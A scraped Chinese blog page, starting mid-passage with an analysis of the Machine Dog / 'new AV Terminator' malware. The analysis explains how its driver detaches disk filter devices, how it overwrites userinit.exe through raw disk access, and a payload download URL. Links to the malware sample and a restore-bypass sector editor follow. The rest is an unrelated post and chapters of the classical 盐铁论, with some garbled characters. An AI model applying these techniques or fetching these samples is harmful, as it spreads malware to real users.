4)只对IRP_MJ_CREATE
IRP_MJ_CLOSE
IRP_MJ_DEVICE_CONTROL
作出响应

其中IRP_MJ_CREATE中会断开\Device\Harddisk0\DR0上附加的设备。这个操作会使磁盘过滤驱动、文件系统驱动(OS提供的,
但一些杀毒软件也通过此渠道进行文件系统监控)及其上的文件系统过滤驱动(大多数文件访问控制和监控
都是这个层次的)无效(参见http://blog.csdn.net/joshua_yu/archive/2006/02/04/591636.aspx)

在IRP_MJ_CLOSE 中对恢复DR0上的附加

在IRP_MJ_DEVICE_CONTROL中对0xF0003C04作出响应,只是把2)中找到的资源数据解密后返回到应用程序。
解密密钥是通过应用程序传入的一个串(密钥种子?)查表后产生(KEY:0x3f702d98)

0xF0003C04的作用:
将用户态传入的整个代码体作为密钥种子对这个代码体进行类似于校验和的运算后得
到4字节的解密KEY,然后使用此解密key将驱动自身携带的资源解密(仅仅是XOR),将解密
结果返回给用户态。

关于解除DR0上的附加设备:
这种操作应该会影响系统正常的文件系统操作,但是因为实际操作时此驱动被打开和关闭的的间隔很短,所以应该
不会有明显影响。

explorer.exe流程
1、释放资源中的pcihdd.sys并创建名为pcihdd的服务,启动服务
2、定位userinit.exe在硬盘中的位置。定位方法如下
1)通过FSCTL_GET_RETRIEVAL_POINTERS获取文件数据的分布信息

2)通过直接访问硬盘(\\\\.\\PhysicalHardDisk0)的的MDR和
第一个分区的引导扇区得到分区参数(每簇扇区数),配合1)中得到的信息
来定位文件在硬盘上的绝对偏移量。
这里有个小BUG,扇区大小是使用固定的512字节而不是从引导扇区中获取

3)通过对比ReadFile读取的文件数据和自己定位后直接
读取所得到的文件数据,确定定位是否正确
3、把整个代码体作为参数传递给pcihdd.sys,控制码0xF0003C04,并将pcihdd返回
的数据直接写入userinit.exe的第一簇

被修改后的userinit.exe
1)查询SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon下的Shell键值
2)创建Shell进程
3)等待网络链接,当网络链接畅通后,则从http://yu.8s7.net/cert.cer下载列表
4)对于列表中的文件每个文件,创建一个新线程下载并执行,线程计数加一(INC)
5)等待所有线程结束后(线程计数为0)结束进程。

对于线程计数的操作并不是原子操作,理论上多CPU情况下有小的概率出问题。
不过人家是写针对普通PC的病毒,多CPU不常见,也不需要稳定

simple.rar (142.99 KB)

文中所指的病毒就是一般说的新AV终结者

机器狗:http://www.esfast.net/downs/explorer.rar [备用地址]
IGM:http://www.esfast.net/downs/IGM.rar [备用地址]
写穿还原的工具:http://www.esfast.net/downs/SectorEditor.zip

盐铁论

从柜子里翻出一本小册子,诸子百家的盐铁论,翻了前几页,就感叹起来,论战双方真是精彩。现在的信息获取这么方便,精品却越来越少了,到处充斥着各种各样的垃圾信息,就像上网,似乎每天都在看杂志似的,没多少有用的东西。

想想,现在的信息,在硬盘上,在光盘上,过上几年就丢了,现在还保留着上学时用的磁盘,里面的东西,估计早就读不出来了。还是古人保存信息的方法好啊,直接刻在石头上,过了几十个世纪,都还清清楚楚地在上面。

无论是信息的有效性,还是保存信息的技术,古人确实很有一套啊。下面的日子,要经常读经典的东西了,没时间经常上网了。

也许以后只是在经常写一下想法,和日记似的,必要的时候,才会开机上网吧。

下面是盐铁论第一部分,看看,是不是非常精彩。google一下,网上有可以下载的地方。诸子百家的全文,txt版本。

家庭百宝箱系列软件主页
盐铁论 卷一
(桓宽)


返回:诸子百家目录
进入:盐铁论01 02 03 04 05 06 07 08 09 10(当前页:01)

本议第一

惟始元六年,有诏书使丞相、御史与所举贤良、文学语。问民间所疾苦。
文学对曰:"窃闻治人之道,防淫佚之原,广道德之端,抑末利而开仁义,毋示以利
,然后教化可兴,而风俗可移也。今郡国有盐、铁、酒榷,均输,与民争利。散敦厚之朴,成贪鄙之化。是以百姓就本者寡,趋末者众。夫文繁则质衰,末盛则质亏。末修则民淫,本修则民悫。民悫则财用足,民侈则饥寒生。愿罢盐、铁、酒榷、均输,所以进本退末,广利农业,便也。"
大夫曰:"匈奴背叛不臣,数为寇暴于边鄙,备之则劳中国之士,不备则侵盗不止。先帝哀边人之久患,苦为虏所系获也,故修障塞。饬烽燧,屯戍以备之。边用度不足,故兴盐、铁,设酒榷,置均输,蕃货长财,以佐助边费。今议者欲罢之,内空府库之藏,外乏执备之用,使备塞乘城之士饥寒于边,将何以赡之?罢之,不便也。"
文学曰:"孔子曰:'有国有家者,不患贫而患不均,不患寡而患不安。'故天子不言多少,诸侯不言利害,大夫不言得丧。畜仁义以风之,广德行以怀之。是以近者亲附而远者悦服。故善克者不战,善战者不师,善师者不阵。修之于庙堂,而折冲还师。王者行仁政,无敌于天下,恶用费哉?"
大夫曰:"匈奴桀黠,擅恣入塞,犯厉中国,杀伐郡、县、朔方都尉,甚悖逆不轨
,宜诛讨之日久矣。陛下垂大惠,哀元元之未赡,不忍暴士大夫于原野;纵难被坚执锐,有北面复匈奴之志,又欲罢盐、铁、均输,扰边用,损武略,无忧边之心,于其义未便也。"
文学曰:"古者,贵以德而贱用兵。孔子曰:'远人不服,则修文德以来之。既来之,则安之。'今废道德而任兵革,兴师而伐之,屯戍而备之,暴兵露师,以支久长,转输粮食无已,使边境之士饥寒于外,百姓劳苦于内。立盐、铁,始张利官以给之,非长策也。故以罢之为便也。"
大夫曰:"古之立国家者,开本末之途,通有无之用,市朝以一其求,致士民,聚万货,农商工师各得所欲,交易而退。易曰:'通其变,使民不倦。'故工不出,则农用乏;商不出,则宝货绝。农用乏,则谷不殖;宝货绝,则财用匮。故盐、铁、均输,所以通委财而调缓急。罢之,不便也。"
文学曰:"夫导民以德则民归厚;示民以利,则民俗薄。俗薄则背义而趋利,趋利则百姓交于道而接于市。老子曰:'贫国若有余。'非多财也,嗜欲众而民躁也。是以王者崇本退末,以礼义防民欲
,实菽粟货财。市,商不通无用之物,工不作无用之器。故商所以通郁滞,工所以备器械,非治国之本务也。"
大夫曰:"管子云:'国有沃野之饶而民不足于食者,器械不备也。有山海之货而民不足于财者,商工不备也。'陇、蜀之丹漆旄羽,荆、扬之皮革骨象,江南之楠梓竹箭,燕、齐之鱼盐旃裘,兖、豫之漆丝��,养生送终之具也,待商而通,待工而成。故圣人作为舟楫之用,以通川谷,服牛驾马,以达陵陆;致远穷深,所以交庶物而便百姓。是以先帝建铁官以赡农用,开均输以足民财;盐、铁、均输,万民所戴仰而取给者,罢之,不便也。"
文学曰:"国有沃野之饶而民不足于食者,工商盛而本业荒也;有山海之货而民不足于财者,不务民用而淫巧众也。故川源不能实漏卮,山海不能赡溪壑。是以盘庚萃居,舜藏黄金,高帝禁商贾不得仕宦,所以遏贪鄙之俗,而醇至诚之风也。排困市井,防塞利门,而民犹为非也,况上之为利乎?传曰:'诸侯好利则大夫鄙,大夫鄙则士贪,士贪则庶人盗。'是开利孔为民罪梯也。"
大夫曰:"往者,郡国诸侯各以其方物贡输,往来烦杂,物多苦恶,或不偿其费。故郡国置输官以相给运
,而便远方之贡,故曰均输。开委府于京师,以笼货物。贱即买,贵则卖。是以县官不失实,商贾无所贸利,故曰平准。平准则民不失职,均输则民齐劳逸。故平准、均输,所以平万物而便百姓,非开利孔而为民罪梯者也。"
文学曰:"古者之赋税于民也,因其所工,不求所拙。农人纳其获,女工效其功。今释其所有,责其所无。百姓贱卖货物,以便上求。间者,郡国或令民作布絮,吏恣留难,与之为市。吏之所入,非独齐、阿之缣,蜀、汉之布也,亦民间之所为耳。行奸卖平,农民重苦,女工再税,未见输之均也。县官猥发,阖门擅市,则万物�收。万物�收,则物腾跃。腾跃,则商贾侔利。自市,则吏容奸。豪吏富商积货储物以待其急,轻贾奸吏收贱以取贵,未见准之平也。盖古之均输,所以齐劳逸而便贡输,非以为利而贾万物也。"

力耕第二

大夫曰:"王者塞天财,禁关市,执准守时,以轻重御民。丰年岁登,则储积以备乏绝;凶年恶岁,则行币物;流有余而调不足也。昔禹水汤旱,百姓匮乏,或相假以接衣食。禹以历山之金,汤以庄山之铜,铸币以赎其民,而天下称仁。往者财用不足,战士或不得禄,而山东被灾,齐、赵大饥,赖均输之畜,仓廪之积,战士以奉,饥民以赈。故均输之物,府库之财,非所以贾万民而专奉兵师之用,亦所以赈困乏而备水旱之灾也。"
文学曰:"古者,十一而税,泽梁以时入而无禁,黎民咸被南亩而不失其务。故三年耕而余一年之蓄,九年耕有三年之蓄。此禹、汤所以备水旱而安百姓也。草莱不辟,田畴不治,虽擅山海之财,通百末之利,犹不能赡也。是以古者尚力务本而种树繁,躬耕趣时而衣食足,虽累凶年而人不病也。故衣食者民之本,稼穑者民之务也。二者修,则国富而民安也。诗云:'百室盈止,妇子宁止'也。"
大夫曰:"贤圣治家非一宝,富国非一道。昔管仲以权谲霸,而纪氏以强本亡。使治家养生必于农,则舜不甄陶而伊尹不为庖。故善为国者,天下之下我高,天下之轻我重。以末易其本,以虚荡其实。今山泽之财,均输之藏,所以御轻重而役诸侯也。汝、汉之金,纤微之贡,所以诱外国而钓胡、羌之宝也。夫中国一端之缦,得匈奴累金之物,而损敌国之用。是以骡驴�驼,衔尾入塞,���马,尽为我畜,�貂狐貉,采旃文�,充于内府,而璧玉珊瑚琉璃,咸为国之宝。是则外国之物内流,而利不外泄也。异物内流则国用饶,利不外泄则民用给矣。诗曰:'百室盈止,妇子宁止。'"
文学曰:"古者,商通物而不豫,工致牢而不伪。故君子耕稼田鱼,其实一也。商则长诈,工则饰骂,内怀窥窬而心不怍,是以薄夫欺而敦夫薄。昔桀女乐充宫室,文绣衣裳,故伊尹高逝游薄,而女乐终废其国。今骡驴之用,不中牛马之功,�貂旃�,不益锦绨之实。美玉珊瑚出于昆山,珠玑犀象出于桂林,此距汉万有余里。计耕桑之功,资财之费,是一物而售百倍其价也,一揖而中万钟之粟也。夫上好珍怪,则淫服下流,贵远方之物,则货财外充。是以王者不珍无用以节其民,不爱奇货以富其国。故理民之道,在于节用尚本,分土井田而已。"
大夫曰:"自京师东西南北,历山川,经郡国,诸殷富大都,无非街衢五通,商贾之所凑,万物之所殖者。故圣人因天时,智者因地财,上士取诸人,中士劳其形。长沮、桀溺,无百金之积,跖�之徒,无猗顿之富,宛、周、齐、鲁,商遍天下。故乃商贾之富,或累万金,追利乘羡之所致也。富国何必用本农,足民何必井田也?"
文学曰:"洪水滔天,而有禹之绩,河水泛滥,而有宣房之功。商纣暴虐,而有孟津之谋,天下烦扰,而有乘羡之富。夫上古至治,民朴而贵本、安愉而寡求。当此之时,道路罕行,市朝生草。故耕不强者无以充虚,织不强者无以掩形。虽有凑会之要,陶、宛之术,无所施其巧。自古及今,不施而得报,不劳而有功者,未之有也。"

通有第三

大夫曰:"燕之涿、蓟,赵之邯郸,魏之温轵,韩之荥阳,齐之临淄,楚之宛、陈,郑之阳翟,三川之二周,富冠海内,皆为天下名都,非有助之耕其野而田其地者也,居五诸之冲,跨街衢之路也。故物丰者民衍,宅近市者家富。富在术数,不在劳身;利在势居,不在力耕也。
文学曰:"荆、扬南有桂林之饶,内有江、湖之利,左陵阳之金,右蜀、汉之材,伐木而树谷,燔莱而播粟,火耕而水耨,地广而饶财;然民�窳偷生,好衣甘食,虽白屋草庐,歌讴鼓琴,日给月单,朝歌暮戚。赵、中山带大河,纂四通神衢,当天下之蹊,商贾错于路,诸侯交于道;然民淫好末,侈靡而不务本,田畴不修,男女矜饰,家无斗筲,鸣琴在室。是以楚、赵之民,均贫而寡富。宋、卫、韩、梁,好本稼穑,编户齐民,无不家衍人给。故利在自惜,不在势居街衢;富在俭力趣时,不在岁司羽鸠也。"
大夫曰:"五行:东方木,而丹、章有金铜之山;南方火,而交趾有大海之川;西方金,而蜀、陇有名材之林;北方水,而幽都有积沙之地。此天地所以均有无而通万物也。今吴、越之竹,隋、唐之材,不可胜用,而曹、卫、梁、宋,采棺转尸;江、湖之鱼,莱、黄之鲐,不可胜食,而邹、鲁、周、韩,藜藿蔬食。天地之利无不赡,而山海之货无不富也;然百姓匮乏,财用不足,多寡不调,而天下财不散也。"
文学曰:"古者,采椽不�,茅茨不翦,衣布褐,饭土硎,铸金为�,埏埴为器,工不造奇巧,世不宝不可衣食之物,各安其居,乐其俗,甘其食,便其器。是以远方之物不交,而昆山之玉不至。今世俗坏而竞于淫靡,女极纤微,工极技巧,雕素朴而尚珍怪,钻山石而求金银,没深渊求珠玑,设机陷求犀象,张网罗求翡翠,求蛮、貉之物以眩中国,徙邛、�之货,致之东海,交万里之财,旷日费功,无益于用。是以褐夫匹妇,劳疲力屈,而衣食不足也。故王者禁溢利,节漏费。溢利禁则反本,漏费节则民用给。是以生无乏资,死无转尸也。"
大夫曰:"古者,宫室有度,舆服以庸;采椽茅茨,非先王之制也。君子节奢刺俭,俭则固。昔孙叔敖相楚,妻不衣帛,马不秣粟。孔子曰:'不可,大俭极下。'此蟋蟀所为作也。管子曰:'不饰宫室,则材木不可胜用,不充庖厨,则禽兽不损其寿。无末利,则本业无所出,无黼黻,则女工不施。'故工商梓匠,邦国之用,器械之备也。自古有之,非独于此。弦高贩牛于周,五�赁车入秦,公输子以规矩,欧冶以�铸。语曰:'百工居肆,以致其事。'农商交易,以利本末。山居泽处,蓬蒿尧�,财物流通,有以均之。是以多者不独衍,少者不独馑。若各居其处,食其食,则是橘柚不鬻,朐卤之盐不出,旃�不市,而吴、唐之材不用也。"
文学曰:"孟子云:'不违农时,谷不可胜食。蚕麻以时,布帛不可胜衣也。斧斤以时,材木不可胜用。田渔以时,鱼肉不可胜食。'若则饰宫室,增台榭,梓匠�巨为小,以圆为方,上成云气,下成山林,则材木不足用也。男子去本为末,雕文刻镂,以象禽兽,穷物究变,则谷不足食也。妇女饰微治细,以成文章,极伎尽巧,则丝布不足衣也。庖宰烹杀胎卵,煎炙齐和,穷极五味,则鱼肉不足食也。当今世,非患禽兽不损,材木不胜,患僭侈之无穷也;非患无旃�橘柚,患无狭庐糠糟也。"

错币第四

大夫曰:"交币通施,民事不及,物有所�也。计本量委,民有饥者,谷有所藏也。智者有百人之功,愚者有不更本之事。人君不调,民有相万之富也。此其所以或储百年之余,或不厌糟糠也。民大富,则不可以禄使也;大强,则不可以罚威也。非散聚均利者不齐。故人主积其食,守其用,制其有余,调其不足,禁溢羡,厄利涂,然后百姓可家给人足也。"
文学曰:"古者,贵德而贱利,重义而轻财。三王之时,迭盛迭衰。衰则扶之,倾则定之。是以夏忠、殷敬、周文,庠序之教,恭让之礼,粲然可得而观也。及其后,礼义弛崩,风俗灭息,故自食禄之君子,违于义而竞于财,大小相吞,泪转相倾。此所以或储百年之余,或无以充虚蔽形也。古之仕者不穑,田者不渔,抱关击柝,皆有常秩,不得兼利尽物。如此,则愚智同功,不相倾也。诗云:'彼有遗秉,此有滞穗,伊寡妇之利。'言不尽物也。"
大夫曰:"汤、文继衰,汉兴乘弊。一质一文,非苟易常也。俗弊更法,非务变古也,亦所以救失扶衰也。故教与俗改,弊与世易。夏后以玄贝,周人以紫石,后世或金钱刀布。物极而衰,终始之运也。故山泽无征,则君臣同利,刀币无禁,则奸贞并行。夫臣富则相侈,下专利则相倾也。"
文学曰:"古者,市朝而无刁币,各以其所有易所无,抱布贸丝而已。后世即有龟贝金钱,交施之也。币数变而民滋伪。夫救伪以质,防失以礼。汤、文继衰,革法易化,而殷、周道兴。汉初乘弊,而不改易,畜利变币,欲以反本,是犹以煎止燔,以火止沸也。上好礼则民�饰,上好货则下死利也。"
大夫曰:"文帝之时,纵民得铸钱、冶铁、煮盐。吴王擅鄣海泽,邓通专西山。山东奸猾,咸聚吴国,秦、雍、汉、蜀因邓氏。吴、邓钱布天下,故有铸钱之禁。禁御之法立,而奸伪息,奸伪息,则民不期于妄得,而各务其职;不反本何为?故统一,则民不二也;币由上,则下不疑也。"
文学曰:"往古,币众财通而民乐。其后,稍去旧币,更行白金龟龙,民多巧新币。币数易而民益疑。于是废天下诸钱,而专命水衡三官作。吏匠侵利,或不中式,故有薄厚轻重。农人不习,物模拟之,信故疑新,不知奸贞。商贾以美贸恶,以半易倍。买则失实,卖则失理,其疑或滋益甚。夫铸伪金钱以有法,而钱之善恶无增损于故。择钱则物稽滞,而用人尤被其苦。春秋曰:'算不及蛮、夷则不行。'故王者外不鄣海泽以便民用,内不禁刀币以通民施。"

禁耕第五

大夫曰:"家人有宝器,尚函匣而藏之,况人主之山海乎?夫权利之处,必在深山穷泽之中,非豪民不能通其利。异时,盐铁未笼,布衣有朐邴,人君有吴王,皆盐铁初议也。吴王专山泽之饶,薄赋其民,赈赡穷乏,以成私威。私威积而逆节之心作。夫不蚤绝其源而忧其末,若决吕梁,沛然,其所伤必多矣。太公曰:'一家害百家,百家害诸侯,诸侯害天下,王法禁之。'今放民于权利,罢盐铁以资暴强,遂其贪心,众邪群聚,私门成党,则强御日以不制,而�兼之徒奸形成也。"
文学曰:"民人藏于家,诸侯藏于国,天子藏于海内。故民人以垣墙为藏闭,天子以四海为匣匮。天子适诸侯,升自阼阶,诸侯纳管键,执策而听命,示莫为主也。是以王者不畜聚,下藏于民,远浮利,务民之义;义礼立,则民化上。若是,虽汤、武生存于世,无所容其虑。工商之事,欧冶之任,何奸之能成?三桓专鲁,六卿分晋,不以盐铁。故权利深者,不在山海,在朝廷;一家害百家,在萧墙,而不在朐邴也。"
大夫曰:"山海有禁,而民不倾;贵贱有平,而民不疑。县官设衡立准,人从所欲,虽使五尺童子适市,莫之能欺。今罢去之,则豪民擅其用而专其利。决市闾巷,高下在口吻,贵贱无常,端坐而民豪,是以养强抑弱而藏于跖也。强养弱抑,则齐民消;若众秽之盛而害五谷。一家害百家,不在朐邴,如何也?"
文学曰:"山海者,财用之宝路也。铁器者,农夫之死士也。死士用,则仇雠灭,仇雠灭,则田野辟,田野辟而五谷熟。宝路开,则百姓赡而民用给,民用给则国富。国富而教之以礼,则行道有让,而工商不相豫,人怀敦朴以相接,而莫相利。夫秦、楚、燕、齐,土力不同,刚柔异势,巨小之用,居句之宜,党殊俗易,各有所便。县官笼而一之,则铁器失其宜,而农民失其便。器用不便,则农夫罢于野而草莱不辟。草莱不辟,则民困乏。故盐冶之处,大傲皆依山川,近铁炭,其势咸远而作剧。郡中卒践更者,多不勘,责取庸代。县吧或以户口赋铁,而贱平其准。良家以道次发僦运盐、铁,烦费,百姓病苦之。愚窃见一官之伤千里,未睹其在朐邴也。"

复古第六

大夫曰:"故扇水都尉彭祖宁归,言:'盐、铁令品,令品甚明。卒徒衣食县官,作铸铁器,给用甚众,无妨于民。而吏或不良,禁令不行,故民烦苦之。'令意总一盐、铁,非独为利入也,将以建本抑末,离朋党,禁淫侈,绝�兼之路也。古者,名山大泽不以封,为下之专利也。山海之利,广泽之畜,天地之藏也,皆宜属少府;陛下不私,以属大司农,以佐助百姓。浮食奇民,好欲擅山海之货,以致富业,役利细民,故沮事议者众。铁器兵刃,天下之大用也,非众庶所宜事也。往者,豪强大家,得管山海之利,采铁石鼓铸,煮海为盐。一家聚众,或至千余人,大抵尽收放流人民也。远去乡里,弃坟墓,依倚大家,聚深山穷泽之中,成奸伪之业,遂朋党之权,其轻为非亦大矣!今者,广进贤之途,练择守尉,不待去盐、铁而安民也。"
文学曰:"扇水都尉所言,当时之权,一切之术也,不可以久行而传世,此非明王所以君国子民之道也。诗云:'哀哉为犹,匪先民是程,匪大犹是经,维迩言是听。'此诗人刺不通于王道,而善为权利者。孝武皇帝攘九夷,平百越,师旅数起,粮食不足。故立田官,置钱,入谷射官,救急赡不给。今陛下继大功之勤,养劳倦之民,此用麋鬻之时;公卿宜思所以安集百姓,致利除害,辅明主以仁义,修润洪业之道。明主即位以来,六年于兹,公卿无请减除不急之官,省罢机利之人。人权县太久,民良望于上。陛下宣圣德,昭明光,令郡国贤良、文学之士,乘传诣公车,议五帝、三王之道,六艺之风,册陈安危利害之分,指意粲然。今公卿辨议,未有所定,此所谓守小节而遗大体,抱小利而忘大利者也。"
大夫曰:"宇栋之内,燕雀不知天地之高;坎井之蛙,不知江海之大;穷夫否妇,不知国家之虑;负荷之商,不知猗顿之富。先帝计外国之利,料胡、越之兵,兵敌弱而易制,用力少而功大,故因势变以主四夷,地滨山海,以属长城,北略河外,开路匈奴之乡,功未卒。盖文王受命伐崇,作吧于丰;武王继之,载尸以行,破商擒纣,遂成王业。曹�弃三北之耻,而复侵地;管仲负当世之累,而立霸功。故志大者遗小,用权者离俗。有司思师望之计,遂先帝之业,志在绝胡、貉,擒单于,故未遑扣扃之义,而录拘儒之论。"
文学曰:"燕雀离巢宇而有鹰隼之忧,坎井之蛙离其居而有蛇鼠之患,况翱翔千仞而游四海乎?其祸必大矣!此李斯所以折翼,而赵高没渊也。闻文、武受命,伐不义以安诸侯大夫,未闻弊诸夏以役夷、狄也。昔秦常举天下之力以事胡、越,竭天下之财以奉其用,然众不能毕;而以百万之师,为一夫之任,此天下共闻也。且数战则民劳,久师则兵弊,此百姓所疾苦,而拘儒之所忧也。"
=============================================
进入:盐铁论01 02 03 04 05 06 07 08 09 10(当前页:01)
返回:诸子百家目录